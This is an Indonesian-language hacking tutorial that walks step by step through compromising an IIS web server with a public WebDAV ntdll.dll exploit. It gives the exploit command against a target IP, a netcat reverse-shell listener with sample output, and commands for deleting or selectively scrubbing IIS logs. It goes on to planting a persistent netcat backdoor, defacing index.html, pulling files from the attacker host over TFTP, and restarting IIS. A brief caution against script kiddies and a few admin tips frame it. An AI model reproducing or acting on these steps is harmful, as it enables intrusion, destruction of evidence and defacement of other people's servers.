1) Pendahuluan
Pertama-tama sebelum melakukan, biar saya
jelaskan kepada anda bahwa hacking atau deface menggunakan suatu exploit
yang sudah ada di internet hanya akan menjadikan anda seorang lamer
atau perusak. Anda seringkali mendapati orang-orang ini melakukan deface
terhadap ratusan situs. Nah, mereka ini bukanlah hacker, melainkan
script kiddies, karena mereka menggunakan code yang dibuat orang lain
untuk mendeface situs. Hacker yang sejati adalah orang yang menciptakan
code exploit dalam ‘0 day’. Dan saya sarankan kepada anda agar JANGAN
PERNAH MENJADI SCRIPT KIDDIES untuk memperoleh sedikit ketenaran dan
merasa bangga dengan hal tersebut!!!
2) Adanya Celah Keamanan
Ok
cukup sudah !! Mari dimulai. Pertamakali tujuan kita untuk melakukan
penetrasi adalah menemukan suatu hole. Webserver IIS berisikan banyak
celah keamanan yang jika dieksploitasi dengan sesuai dapat memberikan
seorang hacker kendali penuh atas sistem tersebut. Celah keamanan yang
umum adalah buffer overflow, yakni mengeksploitasi format string. Apakah
“Buffer Overflow” itu adalah soal yang lain dan memerlukan artikel
tersendiri. Atau lebih baik silakan anda baca terbitan Phrack 49
(www.phrack.com) dengan judul “Smashing The Stack For Fun and Profit”.
Disana istilah buffer overflow dijelaskan berdasarkan sudut pandang
Linux.
Ok, karena webserver IIS menyimpan banyak celah keamanan
eksploitasi buffer overflow. Hanya dalam 2 tahun terakhir ini e-eye
digital defence team (http://www.eeye.com/) melaporkan adanya buffer
overflow pada seluruh ekstensi ISAPI pada IIS Webserver.
Sebagai contoh suatu request http://www.iissite.com/a.idq?aaaaaaaaaaaaaaaaaa….aaaa<shell_code_anda>
Sekarang,
kapanpun webserver iis mendapatkan request berupa file seperti .idq
atau .asp dsb selain .html request dipenuhi oleh file .dll yang spesifik
pada webserver. Namun jika seorang hacker mengirimkan request berupa
string panjang dari aaa dan mencari angka yang tepat dimana suatu buffer
overflow terjadi, maka dia dapat menyesuaikan shell code ditempat
tersebut dan menyebabkan shell codenya dieksekusi pada remote machine.
Catatan: Suatu shell code merupakan kode assembly yang memberikan command prompt pada Win 2000 dan shell jika pada Linux.
Tapi
saat pertanyaan diajukan mengenai hacking website, kita memerlukan
penemuan bug sebelumnya. Kaerna kebanyakan server yang dipatch untuk bug
yang ditemukan sebelumnya. Pada dasarnya bug .idq ditemukan dua tahun
terakhir tidak akan bekerja hari ini karena kebanyakan server Win 2000
telah dipatch dengan service pack sp3, sp4. Jadi saat ini yang kita
perlukan adalah bug terakhir atau dalam dunia perhackingan dinamakan
dengan “0day exploit”. Tempat terbaik untuk mencari exploit adalah
www.packetstormsecurity.nl, situs ini secara konsisten memuat exploit,
code, advisory yang terbaru. Tempat lainnya seperti
www.k-otic.com/exploit atau cara terbaik adalah mencari dibagian 0day
exploit pada situs kami www.hackersprogrammers.com. Sekarang ini sangat
banyak 0day yang sengaja tidak pernah dipublikasikan!!! Dan hanya
ditujukan untuk komunitas underground atau orang-orang tertentu yang
dikenal sebagai hacker. Untuk mendapatkan exploit yang baik, anda perlu
mengadakan kontak dengan hacker yang baik dan berbakat di internet. Dan
pilihan terbaik adalah code yang anda buat sendiri (jika anda mampu)
maka dengan ini anda mampu menghack berbagai webserver IIS di seluruh
dunia!!! J
3) Mengeksploitasi celah keamanan dan Mengendalikan webserver
Ini
bagian yang paling menarik. Compile code exploit anda dengan Visual C++
jika berupa kode win c atau gunakan gcc jika berupa kode linux. Jika
anda tidak mengetahui hal ini, lebih baik mendownload exploit berbasis
GUI dari internet (ini semakin menunjukkan bahwa anda seorang lamer).
OK, sekarang sebagai contoh exploit webdave ntdll.dll yang ditemukan 3-4
bulan terakhir. Masih banyaknya server yang vulnerable untuk ini.
Terakhir saat salya menuliskan artikel ini ditemukan bug terbaru berupa
RPC DCOM oleh LSD. Namun bug RPC DCOM tidak akan bekerja dalam kasus ini
karena firewall pada server akan memblok seluruh packet terhadap port
135. Setelah anda melihat-lihat webdave exploit, downloadlah exploit
Kralor Webdave. Compile dan download exploit kralor yang berbasis GUI.
Shellcode ini berupa jenis yang spesifik. Shellcode yang digunakan
exploit Kralor memberikan suatu reverse shell. Artinya setelah berhasil
mengeksploitasi server tersebut akan terhubung ke computer anda melalui
suatu command shell!!! Jadi anda memerlukan netcat listener untuk
‘mendengar’ port spesifik pada computer anda. Download tool netcat dari
internet dan masuk ke DOS prompt, ketik sebagai berikut:
D:\nc>nc -Lvp 6666
Listening on [any] 6666 ….
Well,
sekarang computer beraksi sebagai suatu server di port 6666 dan
listening terhadap berbagai incoming request. Sekarang compile exploit
kralor atau gunakan yang berbasis GUI, kemudian masuk ke DOS prompt dan
ketik.
D:\vcproject\webdave\debug>web.exe
[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]
www.coromputer.net && undernet #coromputer
syntax: D:\WEB.EXE <host_target> <host_anda> <port_anda> [padding]
Cool
!!! Jadi apa yang harus anda lakukan? Masih bingung? OK, saya
sarankan, jika anda ingin menghack suatu server, carilah ip dengan
melakukan ping dari DOS. Misalkan ip 123.123.123.123 dan ip kita
200.200.200.200. Pastikan netcat menjalankan beberapa port seperti 6666
dan ketik perintah pada Dos Prompt yang baru:
D:\vcproject\webdave\debug>web.exe 123.123.123.123 200.200.200.200 6666
Terdapat
padding bit yang berbeda. Dalam kasus exploit berbasis GUI dapat
melakukannya sendiri, atau membaca kometar dalam exploit tersebut untuk
mendapatkan suatu ide mengenai apa padding bit tersebut dan bagaimana
cara menggunakannya. Setelah berhasil mengeksploitasi anda akan
mendapatkan shell pada netcat listener anda.
D:\nc>nc -Lvp 6666
Listening on [any] 6666 ….
connect to 200.200.200.200 from 123.123.123.123
Microsoft(R) Windows 2000
(C)Copyright Microsoft Corp 1981-2000.
C:\winnt\system32>
Selamat!!
Jadi anda berhasil mengeksploitasi bug ntdll.dll pada remote server.
Command prompt telah kita dapatkan pada netcat listener yang merupakan
command prompt pada remote server.
4) Apa yang harus dilakuklansetelah melakukan hacking suatu server?
Pertama
kali yang terpenting yang harus dilakukan setelah melakukan hacking
berbagai server di dunia internet adalah menghapus log tersebut. Setelah
kita memiliki HTTP Port 80 untuk menghack, kita perlu menghapus log
IIS. Direktorinya dalam hal ini ada di C:\winnt\system32\logfiles . Jadi
pada shell tersebut anda tinggal mengetik.
C:\winnt\system32> rmdir /s /q logfiles
Yang menghapus direktori log file, file dan folder yang terdapat dalam direktori tersebut.
Catatan:
Ini merupakan cara yang buruk dalam menghapus file log. Admin dapat
langsung mengetahui bahwa seseorang telah menghacking servernya. Cara
lain yang terbaik adalah masuk kedalam direktori logfile dan cari file
log yang spesifik dan menghapus hanya pada baris ayng berisikan ip anda.
Sekarang,
setelah megnhapus log file. Anda dapat bermain-main dengan server
tersebut. Seluruh server berada dalam kendali anda. Hal terbaik adalah
menginstall suatu backdoor pada server tersebut. Membua backdoor senfiri
atau sebagai gantinya mengupload netcat apda server tersebut dan
menjadinnya listen pada beberapa port yang spesifik dan anda juga dapat
menambahkan entri dalam registri jadi dapat tetap dalam keadaan
listening bahkan setelah server tersebut direstart.
Langkah
berikutnya, misalkan anda ingin mendeface situs tersebut, maka carilah
direktori webrootnya. Direktori default biasanya adalah
C:\inetpub\wwwroot, disana anda akan menemukan file seperti index.html,
index.asp, default.html dan file-file lain seperti itu. Jika ada, maka
anda sudah berada pada direktori yang dimaksud. Sekarang tinggal
membackup file index.html nya. Perintahnya adalah sebagai berikut:
C:\inetpub\wwwroot> copy index.html indexold.html
C:\inetpub\wwwroot> echo defaced by Chintan Trivedi > index.html
Wah
!! Akhirnya anda berhasil mendeface situs tersebut. Jika anda ingin
mengupload file anda sendiri ke server tersebut, maka anda harus
memiliki TFTP server pada sistem anda. Jalankan dan ketik ketik perintah
remote shell berikut:
C:\inetpub\wwwroot> tftp 200.200.200.200 GET index.html
Perintah
ini akan mengupload file index.html anda ke web server. Oh ya, contoh
diatas dengan anggapan 200.200.200.200 menjadi ip anda. Dan ingatlah
mengenai satu hal penting. Webdave exploit dapat menyebabkan crash pada
server IIS. Jadi situs tidak akan terbuka dan anda tidak dapat melihat
halaman yang terdeface L Jangan khawatir, ada cara untuk merestart IIS
pada remote system tersebut, yaitu:
C:\inetpub\wwwroot> iisreset /restart /rebootonerror /timeout:100
Tunggulah
sebentar dan bukalah situs tersebut, misalnya www.target.com dan lihat
halaman yang telah anda deface!!! Nah ini semua hanyalah satu contoh
hacking webserver menggunakan webdave exploit. Terus memperbarui sesi
0day anda di www.hackersprogrammers.com dengan 0day exploit terbaru.
Setiap exploit bekerja dengan caranya masing-masing. Anda dapat melihat
penjelasan yang tersedia pada exploit tersebut jika anda bukan seorang
script kiddie.
5) Kesimpulan
Hal yang perlu saya katakan
kepada anda bahwa hacking atau mendeface melalui exploit ‘siap-pakai’
yang tersedia di internet adalah tindakan merusak. Janganlah dilakukan
terus menerus. Melakukan hacking suatu server hanya jika anda memang
memiliki alasan kuat untuk melakukannya dan anda benar-benar mengetahui
apa yang sedang anda lakukan. Jika anda melakukan hacking secara
membabi-buta anda hanya akan menyebabkan berbagai kerusakan, kebencian
dan tidak memahami bagaimana dunia ini bekerja.
Dan untuk admin:
jika anda ingin melindungi server anda dari hacker, maka langkah terbaik
adalah tetap mengupdate dengan service pack terakhir yang disediakan
oleh Microsoft. Kedua, kapanpun server anda dihack atau terdeface,
silakan periksa pada sistem anda, apakah telah terinstall backdoor,
rootkit. Kalau ada, hapuslah. Ketiga menjaga direktori file log dari
seseorang yang tidak berhak. IIS menyediakan fasilitas untuk mengubah
direktori file log. Tapi dalam berbagai kasus, tetap saja pencegahan
jauh lebih baik daripada penyembuhan.